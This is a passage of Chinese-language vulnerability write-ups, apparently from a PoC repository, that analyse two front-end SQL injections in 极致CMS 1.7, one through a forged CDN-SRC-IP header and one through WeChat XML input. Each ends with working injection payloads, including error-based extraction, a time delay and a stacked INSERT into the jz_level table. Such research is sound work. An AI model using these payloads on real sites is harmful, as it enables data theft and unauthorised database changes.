| 25 | ```php 26 | function M($name=null) { 27 | if(empty($name)){ 28 | $path = 'FrPHP\lib\\Model'; 29 | return $path::getInstance(); 30 | } 31 | $name = ucfirst($name); 32 | if($name==''){ 33 | return '缺少模型类!'; 34 | }else{ 35 | $table = $name; 36 | $name = APP_HOME.'\\'.HOME_MODEL.'\\'.$name.'Model'; 37 | if(!class_exists($name)){ 38 | $path = 'FrPHP\lib\\Model'; 39 | return $path::getInstance($table); 40 | }else{ 41 | return $name::getInstance($table); 42 | } 43 | 44 | } 45 | } 46 | ``` 47 | 48 | 大致意思是实例化 `Model` 类,并初始化数据表的名字,这个类在 `FrPHP/lib/Model.php`,这里提供了`add`, `delete` , `find`, `update` 等函数,这些函数分别实现了增删查改 49 | 50 | 接下来我们关注跟数据库操作有关的输入,其实我们可以直接,大部分的输入都是由 `frparam` 方法处理的,我们来看看这个方法,位于 `FrPHP/lib/Controller.php` 51 | 52 | ```php 53 | public function frparam($str=null, $int=0,$default = FALSE, $method = null){ 54 | $data = $this->_data; 55 | if($str===null) return $data; 56 | if(!array_key_exists($str,$data)){ 57 | return ($default===FALSE)?false:$default; 58 | } 59 | 60 | if($method===null){ 61 | $value = $data[$str]; 62 | }else{ 63 | $method = strtolower($method); 64 | switch($method){ 65 | case 'get': 66 | $value = $_GET[$str]; 67 | break; 68 | case 'post': 69 | $value = $_POST[$str]; 70 | break; 71 | case 'cookie': 72 | $value = $_COOKIE[$str]; 73 | break; 74 | } 75 | } 76 | return format_param($value,$int); 77 | } 78 | ``` 79 | 80 | 可以看到 `$value` 的值可以来自于两部分,第一可以从 `$this->_data`中取出,而这个 `$this->_data` 来自于哪里呢,可以追溯到父类的初始化 `FrPHP/lib/Controller.php` 81 | 82 | ```php 83 | public function __construct($param=null) 84 | { 85 | $this->_controller = APP_CONTROLLER; 86 | $this->_action = APP_ACTION; 87 | $this->_data = $param; 88 | ``` 89 | 90 | 也就是父类在初始化的时候传进来的值,我们可以搜索全局的 `controller` 初始化,发现位于 `FrPHP/Fr.php` 342 行 ,朝上看就可以看到,是从这里传值进来的 91 | 92 | 第二是如果存在 `$method` 时,可以取出相应的值,最后会执行函数 `format_param($value,$int)` 93 | 94 | ```php 95 | function format_param($value=null,$int=0){ 96 | if($value==null){ return '';} 97 | switch ($int){ 98 | case 0://整数 99 | return (int)$value; 100 | case 1://字符串 101 | $value=htmlspecialchars(trim($value), ENT_QUOTES); 102 | if(!get_magic_quotes_gpc())$value = addslashes($value); 103 | return $value; 104 | case 2://数组 105 | if($value=='')return ''; 106 | array_walk_recursive($value, "array_format"); 107 | return $value; 108 | case 3://浮点 109 | return (float)$value; 110 | case 4: 111 | if(!get_magic_quotes_gpc())$value = addslashes($value); 112 | return trim($value); 113 | } 114 | } 115 | ``` 116 | 117 | 这里会根据传进来的 `int` 来判断是哪种类型的值,然后做对应的处理,这样防止了很多漏洞可能的发生,这里过滤的还是比较严格的,整数就会强行转整数,字符串就会`html` 实体化与转义,其他的也类似。数组会进入函数 `array_format` 进行 `html` 实体化等处理,这里有可能有问题的一点是,如果传进来的数组中有数字类型的,那有可能这个处理就不会起到作用,但这不是本文漏洞的重点 118 | 119 | 现在来找不依靠 `frparam` 方法可以直接传值进入`sql` 语句的点,成功找到一处,位于 `Home/c/MessageController.php` 120 | 121 | ```php 122 | if($_POST){ 123 | 124 | $w = $this->frparam(); 125 | $w = get_fields_data($w,'message',0); 126 | 127 | $w['body'] = $this->frparam('body',1,'','POST'); 128 | $w['user'] = $this->frparam('user',1,'','POST'); 129 | $w['tel'] = $this->frparam('tel',1,'','POST'); 130 | $w['aid'] = $this->frparam('aid',0,0,'POST'); 131 | $w['tid'] = $this->frparam('tid',0,0,'POST'); 132 | 133 | if($this->webconf['autocheckmessage']==1){ 134 | $w['isshow'] = 1; 135 | }else{ 136 | $w['isshow'] = 0; 137 | } 138 | 139 | $w['ip'] = GetIP(); 140 | $w['addtime'] = time(); 141 | ... 142 | $res = M('message')->add($w); 143 | ... 144 | ``` 145 | 146 | 这里可以看到,`$w` 数组会进入 `add` 方法,前面的值都是从 `frparam` 中获取,但是注意这里 147 | 148 | ```php 149 | $w['ip'] = GetIP(); 150 | ``` 151 | 152 | ```php 153 | function GetIP(){ 154 | static $ip = ''; 155 | $ip = $_SERVER['REMOTE_ADDR']; 156 | if(isset($_SERVER['HTTP_CDN_SRC_IP'])) { 157 | $ip = $_SERVER['HTTP_CDN_SRC_IP']; 158 | } elseif (isset($_SERVER['HTTP_CLIENT_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CLIENT_IP'])) { 159 | $ip = $_SERVER['HTTP_CLIENT_IP']; 160 | } elseif(isset($_SERVER['HTTP_X_FORWARDED_FOR']) AND preg_match_all('#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}#s', $_SERVER['HTTP_X_FORWARDED_FOR'], $matches)) { 161 | foreach ($matches[0] AS $xip) { 162 | if (!preg_match('#^(10|172\.16|192\.168)\.#', $xip)) { 163 | $ip = $xip; 164 | break; 165 | } 166 | } 167 | } 168 | return $ip; 169 | } 170 | ``` 171 | 172 | 这里可以看到 `$ip` 的值可以由多个 `$_SERVER` 中的值得到,其他的值都不好伪造,但是我们可以伪造这个 173 | 174 | ```php 175 | $ip = $_SERVER['HTTP_CDN_SRC_IP']; 176 | ``` 177 | 178 | 查阅资料知道,我们可以通过添加 `header` 来伪造 179 | 180 | ``` 181 | CDN-SRC-IP: 127.0.0.1 182 | ``` 183 | 184 | 这里没有规范他的输入,因此此处输入可控,最后进入 `$res = M('message')->add($w);` 185 | 186 | ```php 187 | public function add($row) 188 | { 189 | if(!is_array($row))return FALSE; 190 | $row = $this->__prepera_format($row); 191 | if(empty($row))return FALSE; 192 | foreach($row as $key => $value){ 193 | if($value!==null){ 194 | $cols[] = $key; 195 | $vals[] = '\''.$value.'\''; 196 | } 197 | } 198 | $col = join(',', $cols); 199 | $val = join(',', $vals); 200 | $table = self::$table; 201 | $sql = "INSERT INTO {$table} ({$col}) VALUES ({$val})"; 202 | if( FALSE != $this->runSql($sql) ){ 203 | if( $newinserid = $this->db->lastInsertId() ){ 204 | return $newinserid; 205 | }else{ 206 | $a=$this->find($row, "{$this->primary} DESC",$this->primary); 207 | return array_pop($a); 208 | } 209 | } 210 | return FALSE; 211 | } 212 | ``` 213 | 214 | 这个数据库代码没有什么过滤的地方,比较常规的数据库插入 215 | 216 | ## 0x03 漏洞复现 217 | 218 | ![](https://gitee.com/d5shenwu/nopic/raw/master/img/20210705223529.png) 219 | 220 | 很明显,可以报错注入,留个 `payload` 221 | 222 | ```sql 223 | CDN-SRC-IP: 127.0.0.1' or updatexml(1,concat(0x7e,database(),0x7e),0) or ' 224 | ``` 225 | 226 | ## 0x04 总结 227 | 228 | 这个是看过大佬的文章后,找不到文章了,只好自己从头开始审计,也是比较好的运气,重新找到了这处漏洞,从这处漏洞可以知道,不仅仅只有 `GET` ,`POST`,`COOKIE` 可以进行操作,还有其他的也是可以的,还有就是一个`CMS` 中,可能大部分都会用同一个过滤比较严格的函数处理,但是还是会有漏网之鱼。 229 | 230 | ## 0x05 链接 231 | 232 | 环境与 `exp` 都可以在如下链接获取 233 | 234 | ### GitHub 235 | 236 | https://github.com/d5shenwu/vulPOC 237 | 238 | 239 | 240 | -------------------------------------------------------------------------------- /极致CMS/极致CMS1.7 另一处前台SQL注入/极致CMS1.7 另一处前台SQL注入.md: -------------------------------------------------------------------------------- 1 | # 极致CMS1.7 另一处前台SQL注入 2 | 3 | 本文仅用于技术讨论与研究,文中的实现方法切勿应用在任何违法场景。如因涉嫌违法造成的一切不良影响,本文作者概不负责。 4 | 5 | ## 0x00 漏洞描述 6 | 7 | 复现了 `CNVD-2021-26000` 之后,搜索了一下极致 `cms` 相关漏洞,发现 1.7 版本的漏洞还真不少,并且还有另一个前台`SQL` 注入,并且支持堆叠查询。 8 | 9 | ## 0x01 漏洞影响 10 | 11 | 极致CMS1.7 12 | 13 | ## 0x02 漏洞分析 14 | 15 | 关于这个 `cms` 数据库方面的一些基础已经在之前发的文章中讲了一些了,数据库操作基本上没有任何防护,但是大部分的输入都是有同一套比较完善的过滤,因此我们需要找到没有过滤的输入,并且会代入数据库操作的地方 16 | 17 | 这里有一处 `Home/c/WechatController.php` 的 `responseMsg` 方法 18 | 19 | ```php 20 | $postStr = file_get_contents('php://input'); 21 | if (!empty($postStr)){ 22 | libxml_disable_entity_loader(true); 23 | $postObj = simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA); 24 | $this->postObj = $postObj; 25 | $fromUsername = $postObj->FromUserName; 26 | $toUsername = $postObj->ToUserName; 27 | $keyword = trim($postObj->Content); 28 | $time = time(); 29 | $textTpl = " 30 | 31 | 32 | %s 33 | 34 | 35 | 0 36 | "; 37 | if($postObj->MsgType=='event'){ 38 | switch ($postObj->Event){ 39 | case 'CLICK': 40 | break; 41 | case 'subscribe': 42 | $openid = $fromUsername; 43 | $islive = M('member')->find(array('openid'=>$openid)); 44 | ``` 45 | 46 | 首先是 47 | 48 | ```php 49 | $postStr = file_get_contents('php://input'); 50 | ``` 51 | 52 | 这里是直接获取数据流,赋值给 `$postStr` ,因此这里就没有其他过滤 53 | 54 | 然后使用函数解析 `simplexml_load_string` ,可以用来解析 `xml` 字符串,要不是上面那一句,这里就有 `xxe` 漏洞咯 55 | 56 | 接下来是一串赋值,最后进入一个 `if` 语句,只有满足 `$postObj->MsgType=='event'` ,才会继续向下执行,而这个值是我们可控的,不成问题,设置 57 | 58 | ```xml 59 | 60 | ``` 61 | 62 | 然后是 `switch` 语句,比较简单,选择使得 `$postObj->Event == 'subscribe'` 63 | 64 | ```xml 65 | 66 | ``` 67 | 68 | 然后会执行 69 | 70 | ```php 71 | $openid = $fromUsername; 72 | $islive = M('member')->find(array('openid'=>$openid)); 73 | ``` 74 | 75 | 这里会先赋值,然后进入数据库操作,而这个 `$fromUsername` 在上面有定义 76 | 77 | ```php 78 | $fromUsername = $postObj->FromUserName; 79 | ``` 80 | 81 | 这也是可控的,可以这样 82 | 83 | ```xml 84 | 85 | ``` 86 | 87 | 最后进入到了 `FrPHP/lib/Model.php` 的 `find` 方法 88 | 89 | ```php 90 | public function find($where=null,$order=null,$fields=null,$limit=1) 91 | { 92 | if( $record = $this->findAll($where, $order, $fields, 1) ){ 93 | return array_pop($record); 94 | }else{ 95 | return FALSE; 96 | } 97 | } 98 | ``` 99 | 100 | 这实际上是调用 `$this->findAll` ,只是限制了查询数量为 1,我们看 `$this->findAll` 101 | 102 | ```php 103 | public function findAll($conditions=null,$order=null,$fields=null,$limit=null) 104 | { 105 | $where = ''; 106 | if(is_array($conditions)){ 107 | $join = array(); 108 | foreach( $conditions as $key => $value ){ 109 | $value = '\''.$value.'\''; 110 | $join[] = "{$key} = {$value}"; 111 | } 112 | $where = "WHERE ".join(" AND ",$join); 113 | }else{ 114 | if(null != $conditions)$where = "WHERE ".$conditions; 115 | } 116 | if(is_array($order)){ 117 | $where .= ' ORDER BY '; 118 | $where .= implode(',', $order); 119 | }else{ 120 | if($order!=null)$where .= " ORDER BY ".$order; 121 | } 122 | if(!empty($limit))$where .= " LIMIT {$limit}"; 123 | $fields = empty($fields) ? "*" : $fields; 124 | $table = self::$table; 125 | $sql = "SELECT {$fields} FROM {$table} {$where}"; 126 | return $this->db->getArray($sql); 127 | } 128 | ``` 129 | 130 | 这里的 `$conditions` 就是传进来的 `array('openid'=>$openid)` ,到最后会拼接字符串形成最后的 `sql` 语句 131 | 132 | ```sql 133 | SELECT * FROM jz_member WHERE openid = '1' LIMIT 1 134 | ``` 135 | 136 | 这里的 1 就是传进来的值,这个值没有经过任何过滤,因此我们可以随意拼接,最后传入 `$this->db->getArray($sql)` 137 | 138 | ```php 139 | public function getArray($sql){ 140 | if(!$result = $this->query($sql))return array(); 141 | if(!$this->Statement->rowCount())return array(); 142 | $rows = array(); 143 | while($rows[] = $this->Statement->fetch(PDO::FETCH_ASSOC)){} 144 | $this->Statement=null; 145 | array_pop($rows); 146 | return $rows; 147 | } 148 | ``` 149 | 150 | 然后就会执行 `$this->query($sql)` 151 | 152 | ```php 153 | public function query($sql){ 154 | $this->arrSql[] = $sql; 155 | $this->Statement = $this->pdo->query($sql); 156 | if ($this->Statement) { 157 | return $this; 158 | }else{ 159 | $msg = $this->pdo->errorInfo(); 160 | if($msg[2]){ 161 | Error_msg('数据库错误:' . $msg[2] . end($this->arrSql)); 162 | } 163 | } 164 | } 165 | ``` 166 | 167 | 这里使用了一个 `pdo` 对象( `pdo` 数据对象扩展是 `php` 访问数据库的一个轻量级接口,`PDO` 提供了一个数据访问抽象层,这意味着,不管使用哪种数据库,都可以用相同的函数(方法)来查询和获取数据。),可以使用堆叠查询 168 | 169 | 执行后返回结果集,之后处理就不管了,至少执行 `sql` 之前没有任何处理,妥妥的 `sql` 注入,而且可以堆叠查询 170 | 171 | ## 0x03 漏洞复现 172 | 173 | ![](https://gitee.com/d5shenwu/nopic/raw/master/img/20210707234408.png) 174 | 175 | 放两个 `payload` 176 | 177 | ``` 178 | 1';select sleep(5)-- 179 | ``` 180 | 181 | ``` 182 | 1';insert into jz_level values(999,'fff','a877cec7a6ffd70dfd313411d6196a40','1','1','1','1','1','1')# 183 | ``` 184 | 185 | ## 0x04 链接 186 | 187 | 环境与 `poc` 都可以在如下链接获取 188 | 189 | ### GitHub 190 | 191 | https://github.com/d5shenwu/vulPOC 192 | 193 | --------------------------------------------------------------------------------